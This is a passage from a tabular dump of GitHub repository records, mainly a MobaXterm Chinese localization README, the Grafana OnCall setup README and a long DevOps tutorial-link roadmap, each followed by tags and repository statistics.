towards the bottom edge. - Parameters: - `angle`: The angle of the animation. - `blurRadius`: The radius of the blur applied to the mask. ```swift static func wipe(angle: Angle, blurRadius: CGFloat = 0) -> AnyTransition ```	Delightful SwiftUI effects for your app	ios,swiftui,animation,swift,transitions,effects,particles	14	12	31	51	12	2	1
RipplePiam/MobaXterm-Chinese-Simplified	<p><h1 align="center">MobaXterm-Chinese-Simplified</h1><br/></p> <p align="center"> <a href="https://github.com/ripplepiam/MobaXterm-Chinese-Simplified/issues"> <img src="https://img.shields.io/github/issues/ripplepiam/MobaXterm-Chinese-Simplified.svg"> </a> <a href="https://github.com/ripplepiam/MobaXterm-Chinese-Simplified/stargazers"> <img src="https://img.shields.io/github/stars/ripplepiam/MobaXterm-Chinese-Simplified.svg"> </a> <a href="https://github.com/RipplePiam/MobaXterm-Chinese-Simplified/watchers"> <img src="https://img.shields.io/github/watchers/RipplePiam/MobaXterm-Chinese-Simplified"> </a> <a href="https://github.com/ripplepiam/MobaXterm-Chinese-Simplified/network"> <img src="https://img.shields.io/github/forks/ripplepiam/MobaXterm-Chinese-Simplified.svg"> </a> <a href="https://github.com/ripplepiam/MobaXterm-Chinese-Simplified/downloads"> <img src="https://img.shields.io/github/downloads/RipplePiam/MobaXterm-Chinese-Simplified/total"> </a> <a href="https://github.com/ripplepiam/MobaXterm-Chinese-Simplified"> <img src="https://img.shields.io/github/repo-size/RipplePiam/MobaXterm-Chinese-Simplified"> </a> <a href="https://github.com/RipplePiam/MobaXterm-Chinese-Simplified/tags"> <img src="https://img.shields.io/github/v/release/RipplePiam/MobaXterm-Chinese-Simplified?include_prereleases"> </a> <br/> </p> [![Star History Chart](https://api.star-history.com/svg?repos=RipplePiam/MobaXterm-Chinese-Simplified&type=Date)](https://star-history.com/#RipplePiam/MobaXterm-Chinese-Simplified&Date) ### 一、声明 1. 本项目对软件本身功能未作任何修改； 2. 本项目不提供 MobaXterm 软件的任何注册、破解技术； 3. 本项目为非盈利属性，仅用于研究汉化技术，欢迎提交 issue； 4. 若项目对您的知识产权构成侵权，请提供证明并联系，作者将第一时间处理； 5. 制作不易，酌请 :star: Star :star: 支持，谢谢。 ### 二、简介 - 官网：[MobaXterm](https://mobaxterm.mobatek.net/) - 汉化：请从 [Releases](https://github.com/RipplePiam/MobaXterm-Chinese-Simplified/releases) 下载 - 介绍： [MobaXterm v22.1 全能终端连接工具](https://blog.csdn.net/qq_27677599/article/details/126093381) > MobaXterm 是一个增强型的 Windows 终端。 > > 其为 Windows 桌面提供所有重要的远程网络工具（SSH、X11、RDP、VNC、FTP、MOSH...） > > 和 Unix 命令（bash、ls、cat、sed、grep、awk、rsync...）。 > > 您可以免费下载和使用 MobaXterm 家庭版。如果您想在公司内部使用它，您应该考虑订阅 MobaXterm 专业版。 - 主要特征： > ###### 嵌入式 X 服务器 > > 基于 X.org 的完全配置的 Xserver > > ###### 轻松显示导出 > > DISPLAY 从远程 Unix 导出到本地 Windows > > ###### X11-转发能力 > > 您的远程显示器使用 SSH 进行安全传输 > > ###### 带有 SSH 的选项卡式终端 > > 基于具有抗锯齿字体和宏支持的 PuTTY > > ###### Windows 上的许多 Unix/Linux 命令 > > 基本 Cygwin 命令（bash、grep、awk、sed、rsync、...） > > ###### 附加组件和插件 > > 您可以使用插件扩展 MobaXterm 功能 > > ###### 多功能会话管理器 > > 一个应用程序中的所有网络工具：Rdp、Vnc、Ssh、Mosh、X11、... > > ###### 便携轻便的应用 > > MobaXterm 已打包为单个可执行文件，不需要管理员权限，您可以从 U 盘启动 > > ###### 专业应用 > > MobaXterm Professional 专为安全性和稳定性而设计 ### 三、项目看板本仓库旨在对 MobaXterm Home Edition (Portable edition) 进行简体中文汉化。不保证实时更新： > MobaXterm Latest Version 24.1 (2024-04-26) > > 汉化最新版本：24.1, 总进度 0% 看板： > 菜单汉化》界面汉化》按钮汉化》布局调整》提示汉化》更多... > > > 当前： > > > > - [ ] > > > > 计划： > > > > - [ ] 主界面 > > - [ ] 各级子页面 > > - [ ] 帮助 > > - [ ] 定制器 > > - [ ] 插件 > > - [ ] 桌面快捷方式 > > - [ ] 浮动标签页 > > - [ ] 宏编辑 > > - [ ] 字体设置 > > - [ ] 颜色设置 > > - [ ] 快捷键设置 > > - [ ] 导入导出 > > - [ ] 跳转主机 > > - [ ] 密码管理 > > - [ ] 包管理器 > > - [ ] 网络扫描 > > - [ ] X11 转发 > > - [ ] 权限修改 > > - [ ] 端口转发 > > - [ ] 右键菜单 > > - [ ] 网络服务器 > > - [ ] 会话设置 > > - [ ] 共享会话管理 > > - [ ] 密码存储 > > - [ ] 语法高亮 > > - [ ] Twitter > > - [ ] EFTP > > - [ ] EHOME > > - [ ] ENEWVNC, VNC > > - [ ] MobaXterm 配置 > > - [ ] 会话管理 > > - [ ] 高级设置 > > > > - [ ] 终端设置 > > > > - [ ] 网络设置 > > > > - [ ] 书签设置 > > - [ ] 服务器管理 > > - [ ] 设置 > > - [ ] 菜单 > > - [ ] 按钮 > > - [ ] 对话框信息 > > - [ ] 已汉化校验 > > - [ ] 调整布局 > > - [ ] EXEFILE > - [ ] Cursor > - [ ] Bitmap > - [ ] Icon > - [ ] Dialog > - [ ] String Table > - [ ] RC Data > - [ ] Cursor Group > - [ ] Icon Group > - [ ] Version > - [ ] Manifest	MobaXterm 简体中文汉化版🌏🖥🖥🖥 【💌慢工精心制作，"提示"也汉化💻】【😍控件布局精细调整】	chinese-simplified,mobaxterm	3	1	5	43	8	1	0
grafana/oncall	# Grafana OnCall <img width="400px" src="docs/img/logo.png"> [![Latest Release](https://img.shields.io/github/v/release/grafana/oncall?display_name=tag&sort=semver)](https://github.com/grafana/oncall/releases) [![License](https://img.shields.io/github/license/grafana/oncall)](https://github.com/grafana/oncall/blob/dev/LICENSE) [![Docker Pulls](https://img.shields.io/docker/pulls/grafana/oncall)](https://hub.docker.com/r/grafana/oncall/tags) [![Slack](https://img.shields.io/badge/join%20slack-%23grafana-%2Doncall-brightgreen.svg)](https://slack.grafana.com/) [![Build Status](https://github.com/grafana/oncall/actions/workflows/on-commits-to-dev.yml/badge.svg)](https://github.com/grafana/oncall/actions/workflows/on-commits-to-dev.yml) Developer-friendly incident response with brilliant Slack integration. <!-- markdownlint-disable MD013 MD033 --> <table> <tbody> <tr> <td width="75%"><img src="docs/img/screenshot.png"></td> <td><div align="center"><a href="https://grafana.com/docs/oncall/latest/mobile-app/">Android & iOS</a>:<br><img src="docs/img/screenshot_mobile.png"></div></td> </tr> </tbody> </table> <!-- markdownlint-enable MD013 MD033 --> - Collect and analyze alerts from multiple monitoring systems - On-call rotations based on schedules - Automatic escalations - Phone calls, SMS, Slack, Telegram notifications ## Getting Started We prepared multiple environments: - [production](https://grafana.com/docs/oncall/latest/open-source/#production-environment) - [developer](./dev/README.md) - hobby (described in the following steps) 1. Download [`docker-compose.yml`](docker-compose.yml): ```bash curl -fsSL https://raw.githubusercontent.com/grafana/oncall/dev/docker-compose.yml -o docker-compose.yml ``` 2. Set variables: ```bash echo "DOMAIN=http://localhost:8080 # Remove 'with_grafana' below if you want to use existing grafana # Add 'with_prometheus' below to optionally enable a local prometheus for oncall metrics # e.g. COMPOSE_PROFILES=with_grafana,with_prometheus COMPOSE_PROFILES=with_grafana # to setup an auth token for prometheus exporter metrics: # PROMETHEUS_EXPORTER_SECRET=my_random_prometheus_secret # also, make sure to enable the /metrics endpoint: # FEATURE_PROMETHEUS_EXPORTER_ENABLED=True SECRET_KEY=my_random_secret_must_be_more_than_32_characters_long" > .env ``` 3. (Optional) If you want to enable/setup the prometheus metrics exporter (besides the changes above), create a `prometheus.yml` file (replacing `my_random_prometheus_secret` accordingly), next to your `docker-compose.yml`: ```bash echo "global: scrape_interval: 15s evaluation_interval: 15s scrape_configs: - job_name: prometheus metrics_path: /metrics/ authorization: credentials: my_random_prometheus_secret static_configs: - targets: [\"host.docker.internal:8080\"]" > prometheus.yml ``` NOTE: you will need to setup a Prometheus datasource using `http://prometheus:9090` as the URL in the Grafana UI. 4. Launch services: ```bash docker-compose pull && docker-compose up -d ``` 5. Go to [OnCall Plugin Configuration](http://localhost:3000/plugins/grafana-oncall-app), using log in credentials as defined above: `admin`/`admin` (or find OnCall plugin in configuration->plugins) and connect OnCall _plugin_ with OnCall _backend_: ```text OnCall backend URL: http://engine:8080 ``` 6. Enjoy! Check our [OSS docs](https://grafana.com/docs/oncall/latest/open-source/) if you want to set up Slack, Telegram, Twilio or SMS/calls through Grafana Cloud. ## Update version To update your Grafana OnCall hobby environment: ```shell # Update Docker image docker-compose pull engine # Re-deploy docker-compose up -d ``` After updating the engine, you'll also need to click the "Update" button on the [plugin version page](http://localhost:3000/plugins/grafana-oncall-app?page=version-history). See [Grafana docs](https://grafana.com/docs/grafana/latest/administration/plugin-management/#update-a-plugin) for more info on updating Grafana plugins. ## Join community [<img width="200px" src="docs/img/slack.png">](https://slack.grafana.com/) [<img width="200px" src="docs/img/GH_discussions.png">](https://community.grafana.com/) Have a question, comment or feedback? Don't be afraid to [open an issue](https://github.com/grafana/oncall/issues/new/choose)! ## Stargazers over time [![Stargazers over time](https://starchart.cc/grafana/oncall.svg)](https://starchart.cc/grafana/oncall) ## Further Reading - _Automated migration from other on-call tools_ - [Migrator](https://github.com/grafana/oncall/tree/dev/tools/migrators) - _Documentation_ - [Grafana OnCall](https://grafana.com/docs/oncall/latest/) - _Overview Webinar_ - [YouTube](https://www.youtube.com/watch?v=7uSe1pulgs8) - _How To Add Integration_ - [How to Add Integration](https://github.com/grafana/oncall/tree/dev/engine/config_integrations/README.md) - _Blog Post_ - [Announcing Grafana OnCall, the easiest way to do on-call management](https://grafana.com/blog/2021/11/09/announcing-grafana-oncall/) - _Presentation_ - [Deep dive into the Grafana, Prometheus, and Alertmanager stack for alerting and on-call management](https://grafana.com/go/observabilitycon/2021/alerting/?pg=blog)	Developer-friendly incident response with brilliant Slack integration	alert,alerting,oncall,oncall-schedule,slack,telegram,grafana	282	967	3,084	4,165	420	33	18
ann-afame/DEVOPS-WORLD	# HAPPY LEARNING 📌 ## Please Note that the tools marked in Blue are the Recommended ones. However, you can choose to study Yellow or Pink. ![WhatsApp Image 2023-01-13 at 23 29 58](https://user-images.githubusercontent.com/85270361/212431058-b641e3fe-4aeb-4976-9d86-d89cd8fb87d6.jpg) ## Recommended RoadMap: Follow the Roadmap: ``` 1. Pre-requisite 2. Networking 3. Linux 4. Shell Scripting 5. Git 6. Maven 7. Tomcat 8. Sonarqube 9. Nexus 10. Docker 11. Jenkins 12. AWS / Azure / GCP 13. Kubernetes 14. Terraform 15. Python 16. Ansible 17. Prometheus 18. Grafana 19. Projects 20. Projects Documentation on GitHub 21. Resume and LinkedIn Profile Fixing 22. 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[Docker Swarm Step by Step \| What is Docker Swarm \| How to create Docker Swarm \| Intellipaat - FREE](https://youtu.be/74p7csxKN8M) - [Docker Swarm Tutorial For Beginners \| Docker Swarm Explained \| Docker Training \| Learn DevOps Easy - FREE](https://www.youtube.com/watch?v=YYfefejSgWY) - [Docker Swarm Step-By-Step \| What Is Docker Swarm \| How To Create A Docker Swarm \| Great Learning - FREE](https://youtu.be/W-DD3QPlRHo) - [What is Docker Swarm: Modes, Example and Working - FREE](https://www.simplilearn.com/tutorials/docker-tutorial/docker-swarm) - [Docker Swarm: A Complete Guide for Beginners](https://k21academy.com/docker-kubernetes/docker-swarm/) ## Jenkins - [Jenkins Full Course in 4 Hours \| Jenkins Tutorial For Beginners \| DevOps Training \| Edureka - PAID](https://youtu.be/3a8KsB5wJDE) - [Complete Jenkins Tutorial \| Learn Jenkins From Scratch In 3 Hours - FREE](https://youtu.be/nCKxl7Q_20I) - [Jenkins Full Course - Jenkins Tutorial For Beginners - Jenkins Tutorial - FREE](https://www.youtube.com/watch?v=FX322RVNGj4) - [Learn Jenkins! Complete Jenkins Course - Zero to Hero](https://youtu.be/6YZvp2GwT0A) ## GitLab CI - [GitLab CI CD Tutorial for Beginners [Crash Course] - FREE](https://youtu.be/qP8kir2GUgo) - [GitHub Actions Tutorial - Basic Concepts and CI/CD Pipeline with Docker - FREE](https://www.youtube.com/watch?v=R8_veQiYBjI) - [DevOps with GitLab CI Course - Build Pipelines and Deploy to AWS - FREE](https://youtu.be/PGyhBwLyK2U) - [GITLAB CI CD FULL COURSE IN 3 HOURS \| Gitlab CI CD From Zero To Hero - FREE](https://youtu.be/Typ9U6k6g5s) - [GitLab CI: Pipelines, CI/CD and DevOps for Beginners - PAID ](https://www.udemy.com/course/gitlab-ci-pipelines-ci-cd-and-devops-for-beginners/) ## Team City - [TeamCity \| TeamCity Tutorial for Beginners \| TeamCity Build Steps \| DevOps Tools \| Intellipaat - FREE](https://youtu.be/Q_oandwGYfk) - [Getting Started With Kotlin DSL in TeamCity: From Zero to Hero - TeamCity Technology Day - FREE](https://youtu.be/AEYjAnR2-MY) - [TeamCity Fundamental Tutorial for Beginners with Demo \| DevOpsSchool - FREE](https://youtu.be/OCnbC7wtXys) ## SSH - Mobaxterm [How To SSH into EC2 Instance Using MobaXterm \| AWS - FREE](https://youtu.be/hUoYVZlioRc) [How to connect to ec2 instance using mobaxterm? - FREE](https://youtu.be/EqKeoBfJGhA) - Putty [How to Install PuTTY on Windows + SSH Connections Using PuTTY on Windows - FREE](https://youtu.be/umFEuHWJW3w) [How to Use Putty to SSH on Windows - FREE](https://youtu.be/pWDHUlvcAsg) ## Amazon Web Services (AWS) - [AWS Certified Cloud Practitioner Training 2020 - Full Course - FREE](https://www.youtube.com/watch?v=3hLmDS179YE) - [AWS Digital Courses by Jon Bonso (FREE)](https://portal.tutorialsdojo.com/product-category/aws/aws-digital-courses-2/) - [AWS Tutorial For Beginners \| AWS Full Course - Learn AWS In 10 Hours \| AWS Training \| Edureka](https://youtu.be/k1RI5locZE4) - [AWS Certified Cloud Practitioner Training 2020 - Full Course - FREE](https://www.youtube.com/watch?v=3hLmDS179YE) - [AWS Certified Cloud Practitioner Practice Exams - PAID - EXAM PRACTICE](https://www.udemy.com/course/aws-certified-cloud-practitioner-practice-exams-amazon/) - [Ultimate AWS Certified Cloud Practitioner - 2021 - PAID - PERSONAL FAVOURITE](https://www.udemy.com/course/aws-certified-cloud-practitioner-new/) - [AWS Certified Solutions Architect - Associate 2020 (PASS THE EXAM!) - FREE](https://youtu.be/Ia-UEYYR44s) - [AWS Certified Solutions Architect - Associate 2020 - FREE](https://www.youtube.com/watch?v=Ia-UEYYR44s) - [AWS Certified Solutions Architect - Associate - PAID](https://learn.cantrill.io/p/aws-certified-solutions-architect-associate-saa-c02) - [AWS Certified Developer - Associate 2020 - FREE](https://www.youtube.com/watch?v=RrKRN9zRBWs) - [AWS Certified Solutions Architect Associate Practice Exams - PAID - EXAM PRACTICCE](https://www.udemy.com/course/aws-certified-solutions-architect-associate-amazon-practice-exams-saa-c02/) - [AWS Tutorial For Beginners \| AWS Full Course - Learn AWS In 10 Hours \| AWS Training \| Edureka - FREE](https://youtu.be/k1RI5locZE4) - [AWS Certified Developer Associate Practice Exams - PAID - EXAM PRACTICE](https://www.udemy.com/course/aws-certified-developer-associate-practice-exams-amazon/) ## Microsoft Azure: - [Azure Course \| Microsoft Azure Full Course 2023 \| Azure Tutorial For Beginners \| Intellipaat -FREE](https://youtu.be/hG-wgtKJ9Es) - [Microsoft Azure Fundamentals Certification Course - FREE -AZ900](https://www.youtube.com/watch?v=NKEFWyqJ5XA) - [Azure Administrator Certification (AZ-104) - Full Course to PASS the Exam - FREE](https://youtu.be/10PbGbTUSAg) - [Azure Developer Associate (AZ-204) — Full Course Pass the Exam! - FREE](https://youtu.be/jZx8PMQjobk) - [Azure Administrator Certification - AZ104 - FREE](https://www.youtube.com/watch?v=10PbGbTUSAg) - [Microsoft Azure Exam AZ-900 Certification - Azure Fundamentals 900 — WhizLabs EXAM PRACTICE - PAID](https://www.whizlabs.com/microsoft-azure-certification-az-900/) - [Azure Administrator Training Course \| AZ-103 Training \| Intellipaat - FREE](https://youtu.be/ki6rJwXzTSM) - [Microsoft Azure DevOps Solutions [Exam AZ-400] Full Course -FREE](https://youtu.be/2HlRaIPo4W8) - [Microsoft Azure Exam AZ-104 Certification - Azure Admin Associate 104 -WhizLabs EXAM PRACTICE - PAID](https://www.whizlabs.com/microsoft-azure-certification-az-104/) - [Microsoft Azure Tutorial for Beginners: Learn Basics in 1 Day - FREE](https://www.guru99.com/microsoft-azure-tutorial.html) - [AZ-900 Microsoft Azure Fundamentals - FREE](https://www.udemy.com/course/az-900-azure-tutorial/) - [Microsoft Azure fundamentals Az900 crash course - FREE](https://www.udemy.com/course/last-moment-revision-for-microsoft-azure-fundamentals-az900/) - [Deploy Azure Virtual Desktop for beginners - FREE](https://www.udemy.com/course/deploy-azure-virtual-desktop-in-less-than-45-minutes/) - [Azure DevOps Tutorial for Beginners \| AZ- 400 \| Azure DevOps Full Course - FREE](https://www.youtube.com/watch?v=ZVUAYNWOvaI) ## Google Cloud Platform (GCP) - [Google Cloud Platform Full Course \| GCP Tutorial \| Google Cloud Training \| Edureka -FREE](https://www.youtube.com/watch?v=IUU6OR8yHCc) - [Google Cloud Associate Cloud Engineer Course - Pass the Exam! - FREE](https://www.youtube.com/watch?v=jpno8FSqpc8) - [Google Cloud Platform Full Course \| Google Cloud Platform Tutorial \| Cloud Computing - FREE](https://www.youtube.com/watch?v=-pMtwYXSFK8) - [Google Cloud Associate Cloud Engineer - PAID](https://training.antonit.com/p/google-cloud-associate-cloud-engineer) - [Google Cloud Platform Tutorial for Beginners - Full Course - FREE](https://www.youtube.com/watch?v=G5w1rsFe-qA) - [Git Full Course - 6 Hours \| Git Tutorial for Beginners [2023] \| DevOps Tutorial \| Edureka -FREE](https://www.youtube.com/watch?v=akD-DpolilE) - [Google Cloud Digital Leader Certification Course - FREE](https://www.youtube.com/watch?v=UGRDM86MBIQ) - [Google Cloud InDepth Tutorial \| Google Cloud Platform Tutorial 2022 \| Cloud Computing - FREE](https://youtu.be/Y4gb4Ce-I88) - [Google Cloud Professional Cloud Architect - PAID - GCP Professional Cloud Architect by Antoni Tzavelas](https://training.antonit.com/p/google-cloud-professional-cloud-architect) - [Google Cloud Fundamentals 101 : A quick guide to learn GCP - FREE](https://www.udemy.com/course/google-cloud-fundamentals-101-a-quick-guide-to-learn-gcp/) - [GCP - Google Cloud Platform Concepts - FREE](https://www.udemy.com/course/gcp-google-cloud-platform-concepts/) - [Google Cloud Platform MasterClass : 4 GCP Certification in 1 - FREE](https://www.udemy.com/course/google-cloud-platform-masterclass/) - [Google Cloud Basics: Compute Engine - FREE](https://www.udemy.com/course/google-cloud-basics-compute-engine/) ## Yaml - [YAML Tutorial for Beginners: Learn YAML in-depth for DevOps -FREE](https://youtu.be/GOk4IoYhM9U) - [YAML - Basics - FREE](https://www.tutorialspoint.com/yaml/yaml_basics.htm) - [YAML - FREE](https://www.freecodecamp.org/news/what-is-yaml-the-yml-file-format/) - [YAML Tutorial: Everything You Need to Get Started in Minutes - FREE](https://www.cloudbees.com/blog/yaml-tutorial-everything-you-need-get-started) - [Complete YAML Course - Beginner to Advanced for DevOps and more! - FREE](https://youtu.be/IA90BTozdow) ## Kubernetes - [Kubernetes Tutorial - FREE](https://www.tutorialspoint.com/kubernetes/index.htm) - [Kubernetes Tutorial for Beginners: Basics, Features, Architecture - FREE](https://www.guru99.com/kubernetes-tutorial.html) - [Kubernetes Certified Administrator resource by Walid Shaari - FREE - CKA](https://github.com/walidshaari/Kubernetes-Certified-Administrator) - [Kubernetes for the Absolute Beginners - Hands-on - PAID](https://www.udemy.com/course/learn-kubernetes/?src=sac&kw=kubernetes+for+abs) - [Kubernetes Tutorial for Beginners [FULL COURSE in 4 Hours] - FREE](https://youtu.be/X48VuDVv0do) - [Kubernetes Made Easy: Learn Kubernetes From Scratch - PAID](https://www.udemy.com/course/kubernetes-made-easy/) - [Kubernetes Tutorial for Beginners - K8s - FREE](https://www.youtube.com/watch?v=X48VuDVv0do) - [Kubernetes CKS 2023 Complete Course - Theory - Practice - PAID](https://www.udemy.com/course/certified-kubernetes-security-specialist/) - [Kubernetes Tutorials For Beginners: 39 Comprehensive Guides - FREE](https://devopscube.com/kubernetes-tutorials-beginners/) - [Certified Kubernetes Security Specialist Rescource by Walid Shaari - FREE - CKS](https://github.com/walidshaari/Certified-Kubernetes-Security-Specialist) - [Certified Kubernetes Administrator (CKA) with Practice Tests - PAID](https://www.udemy.com/course/certified-kubernetes-administrator-with-practice-tests/) - [Kubernetes & Istio Service Mesh - FREE](https://www.youtube.com/playlist?list=PL34sAs7_26wPkw9g-5NQPP_rHVzApGpKP) ## Helm - [What is Helm in Kubernetes? Helm and Helm Charts explained \| Kubernetes Tutorial 23 - FREE](https://youtu.be/-ykwb1d0DXU) - [Creating your first Helm chart - FREE](https://youtu.be/3GPpm2nZb2s) - [Creating your first Helm chart - Package management for K8s - FREE](https://www.youtube.com/watch?v=3GPpm2nZb2s) - [What is Helm? - FREE](https://youtu.be/fy8SHvNZGeE) - [What is Helm? \| Helm Concepts Explained \| KodeKloud -FREE](https://youtu.be/kJscDZfHXrQ) ## Managed containers (EKS/AKS/GKE) - [AWS EKS Kubernetes-Masterclass \| DevOps, Microservices - PAID](https://www.udemy.com/course/aws-eks-kubernetes-masterclass-devops-microservices/) - [Introduction To Azure Kubernetes Service (AKS) \| Azure Container Service \| Azure Training \| Edureka - FREE](https://youtu.be/o5qkgsyfRao) - [AWS Kubernetes Tutorial \| AWS EKS Tutorial \| Kubernetes on AWS - FREE](https://youtu.be/U3SowMbnqBw) - [ Amazon EKS Starter: Docker on AWS EKS with Kubernetes = PAID](https://www.udemy.com/course/amazon-eks-starter-kubernetes-on-aws/) - [Deploy to Azure Kubernetes (AKS) from Azure DevOps with Azure Pipelines \| Build LIVE with Me - FREE](https://youtu.be/4Oa5HneTuKs) - [AWS EKS Tutorial \| Kubernetes on AWS \| Create EKS Step by Step for Beginners \| K21Academy - FREE](https://youtu.be/DcnviAwmzM4) - [Azure Kubernetes Service with Azure DevOps and Terraform - PAID - AKS](https://www.udemy.com/course/azure-kubernetes-service-with-azure-devops-and-terraform/) - [How to create AKS Cluster \| Setting Up & Deploying an Azure Kubernetes Service Cluster \| K21Academy - FREE](https://youtu.be/NnwQZyi0BAs) - [Google Kubernetes Engine Tutorial \| Kubernetes and Google Container Engine \| Intellipaat -FREE](https://youtu.be/R_LaWVUo7Z4) ## OpenShift - [Introduction to Red Hat OpenShift Container Platform -FREE](https://youtu.be/dAWPuqZwlOA) - [OpenShift for the Absolute Beginners - Hands-on - PAID](https://www.udemy.com/course/learn-openshift/) - [Ultimate Openshift (2021) Bootcamp by School of Devops - PAID](https://www.udemy.com/course/ultimate-openshift-bootcamp-by-school-of-devops/) ## Terraform - [Learn DevOps: Infrastructure Automation With Terraform -PAID](https://www.udemy.com/course/learn-devops-infrastructure-automation-with-terraform/) - [Terraform Course - Automate your AWS cloud infrastructure - FREE](https://www.youtube.com/watch?v=SLB_c_ayRMo) - [Terraform on AWS EKS Kubernetes IaC SRE- 50 Real-World Demos -PAID](https://www.udemy.com/course/terraform-on-aws-eks-kubernetes-iac-sre-50-real-world-demos/) - [Terraform for DevOps Beginners + Labs: Complete Step by Step Guide - FREE](https://www.youtube.com/watch?v=YcJ9IeukJL8) - [HashiCorp Certified: Terraform Associate 2021 - PAID](https://www.udemy.com/course/terraform-beginner-to-advanced/) - [HashiCorp Terraform Associate Certification Course - FREE](https://www.youtube.com/watch?v=V4waklkBC38) - [Terraform & IaC Bootcamp 2023 - PAID](https://www.udemy.com/course/terraform-iac-bootcamp/) - [Azure DevOps: Provision API Infrastructure using Terraform - Full Course - FREE](https://www.youtube.com/watch?v=Ff0DoAmpv6w&t=6032s) - [Infrastrcuture as Code - Playlist - FREE](https://www.youtube.com/playlist?list=PLedHPfK7UwDJdS7zTgJv8PWR9UBcPbgUO) ## Python - [Python Tutorial - Python Full Course for Beginners - FREE](https://youtu.be/_uQrJ0TkZlc) - [Learn Python - Full Course for Beginners [Tutorial] - FREE](https://youtu.be/rfscVS0vtbw) - [Automate the Boring Stuff with Python Programming - PAID - RECOMMENDED](https://www.udemy.com/course/automate/) - [Python Tutorial for Beginners - Learn Python in 5 Hours [FULL COURSE] - FREE](https://youtu.be/t8pPdKYpowI) - [COMPLETE PYTHON BOOTCAMP - PAID - SUPPLEMENTARY](https://www.udemy.com/course/complete-python-bootcamp/) - [Python for Everybody - Full University Python Course - FREE](https://youtu.be/8DvywoWv6fI) - [Learn Python - Full Course for Beginners Tutorial - FREE - RECOMMENDED](https://www.youtube.com/watch?v=rfscVS0vtbw) - [Python Tutorial for Beginners - Learn Python in 5 Hours FULL COURSE - FREE](https://www.youtube.com/watch?v=t8pPdKYpowI) - [Python Crash Course: A Hands-On, Project-Based Introduction to Programming](https://www.amazon.com/Python-Crash-Course-Hands-Project-Based/dp/1593276036) - [Python for Everybody (PY4E)](https://www.py4e.com/lessons) - [Python Documentaions](https://docs.python.org/) ## GoLang - [Learn Go Programming - Golang Tutorial for Beginners - FREE](https://www.youtube.com/watch?v=YS4e4q9oBaU) - [Learn How To Code: Google's Go (golang) Programming Language - PAID](https://www.udemy.com/course/learn-how-to-code/) - [Learn Go for Beginners Crash Course (Golang) - PAID](https://www.udemy.com/course/go-programming-language-crash-course/) - [Go (Golang) Programming: The Complete Go Bootcamp 2023 - PAID](https://www.udemy.com/course/master-go-programming-complete-golang-bootcamp/) - [Learn Go Programming - Golang Tutorial for Beginners - FREE](https://www.youtube.com/watch?v=YS4e4q9oBaU) - [Learn Go Programming by Building 11 Projects – Full Course- FREE](https://youtu.be/jFfo23yIWac) - [Golang Tutorial for Beginners \| Full Go Course - FREE](https://youtu.be/yyUHQIec83I) ## Ruby - [Ruby Programming Language - Full Course - FREE](https://youtu.be/t_ispmWmdjY) - [Learn to Code with Ruby -PAID](https://www.udemy.com/course/learn-to-code-with-ruby-lang/) ## JavaScript - [The Complete JavaScript Course 2023: From Zero to Expert! - PAID](https://www.udemy.com/course/the-complete-javascript-course/) - [The Ultimate Full-stack JavaScript Developer Bundle - PAID](https://codewithmosh.com/p/full-stack-javascript-developer-bundle) - [JavaScript Tutorial for Beginners: Learn JavaScript - FREE](https://www.youtube.com/watch?v=W6NZfCO5SIk) - [Learn JavaScript - Full Course for Beginners - FREE](https://www.youtube.com/watch?v=PkZNo7MFNFg) - [JavaScript Full Course [8 hours] \| JavaScript Tutorial For Beginners \| JavaScript Training \| Edureka - FREE](https://youtu.be/-nEXa4oh4bc) - [JavaScript Tutorial For Beginners - Full Course In 11 Hours \| Learn JavaScript \| Great Learning - FREE](https://youtu.be/g1X6b5tRvrw) - [JavaScript Fundamentals For Beginners -FREE](https://youtu.be/vEROU2XtPR8) ## Ansible - [Ansible Full Course \| Ansible Tutorial For Beginners \| Learn Ansible Step By Step \| Simplilearn - FREE](https://youtu.be/EcnqJbxBcM0) - [Learn Ansible Automation in 250+examples & practical lessons - PAID](https://www.udemy.com/course/ansible-by-examples-devops/) - [Automation with Ansible Playbooks - Hands On - PAID](https://www.udemy.com/course/automation-with-ansible/) - [Ansible 101 by jeff Geerling - FREE](https://www.youtube.com/playlist?list=PL2_OBreMn7FqZkvMYt6ATmgC0KAGGJNAN) - [Ansible Full Course \| Ansible Training \| Learn Ansible for Beginners \| Edureka - FREE](https://youtu.be/9Ua2b06oAr4) - [Ansible Full Course \| 34 Topics in 2 Hours \| Ansible Tutorial for Beginners - FREE](https://youtu.be/Wr8zAU-0uR4) - [Ansible Complete Tutorial \| Learn Complete Ansible From Basic To Advanced Level \| Nehra Classes - FREE](https://youtu.be/q8MX_ldXrt8) ## Puppet - [Puppet Full Course \| Learn Puppet Step By Step \| Puppet Tutorial For Beginners - FREE](https://youtu.be/F-NGOvYiV9g) - [Puppet Full Course \| Learn Puppet Training \| Puppet Tutorial for Beginners \| Learn Devops - FREE](https://youtu.be/Ns_tRKD20c4) - [Master Puppet for DevOps Success - PAID](https://www.udemy.com/course/power-puppet/) - [Master Automation with Ansible and Puppet: 4-in-1 - PAID](https://www.udemy.com/course/master-automation-with-ansible-and-puppet-4-in-1/) ## Chef - [Chef Tutorial For Beginners - Part 1 \| DevOps Chef Tutorial \| DevOps Tools - FREE](https://youtu.be/LTIjUJEehDA) - [CHEF Full Course Video - FREE](https://youtube.com/playlist?list=PLmNmekbKZkr0FQVc-QOZcBUWaORxhhDnA) - [CHEF Tutorial - FREE](https://www.youtube.com/watch?v=4aaK2rzzOLc&list=PLsgnv1SN76ILtD3TnVtXpX1hmwjyY9OuT) - [The Ultimate Chef Training Course: DevOps Automation - PAID](https://www.udemy.com/course/the-ultimate-chef-training-course-devops-automation/) ## Prometheus - [Prometheus \| The Complete Hands-On for Monitoring & Alerting - PAID](https://www.udemy.com/course/prometheus-course/) - [Prometheus Tutorial \| Monitoring with Prometheus And Grafana \| Prometheus Grafana Tutorial \| Edureka -FREE](https://youtu.be/7gW5pSM6dlU) - [Prometheus Tutorial - Monitoring with Prometheus And Grafana - Prometheus Grafana Tutorial - FREE](https://www.youtube.com/watch?v=7gW5pSM6dlU) - [Monitoring using Prometheus and Grafana \| ADAM -FREE](https://youtu.be/cF2P9d7rBlg) - [Prometheus MasterClass : DevOps Infra Monitoring & Alerting - FREE](https://www.udemy.com/course/prometheus-monitoring/) ## Grafana - [Grafana Tutorial For Beginners \| Continuous Monitoring With Grafana \| DevOps Training - FREE](https://youtu.be/w-c3KYKQQfs) - [Installing Grafana on a Linux Server - FREE](https://youtu.be/xkQ7AgBwGq0) - [Grafana Course for Beginners \| Learn Grafana \| Grafana Tutorials - FREE](https://youtu.be/CjABEnRg9NI) - [Guide to Grafana 101: Getting Started With (Awesome) Visualizations - 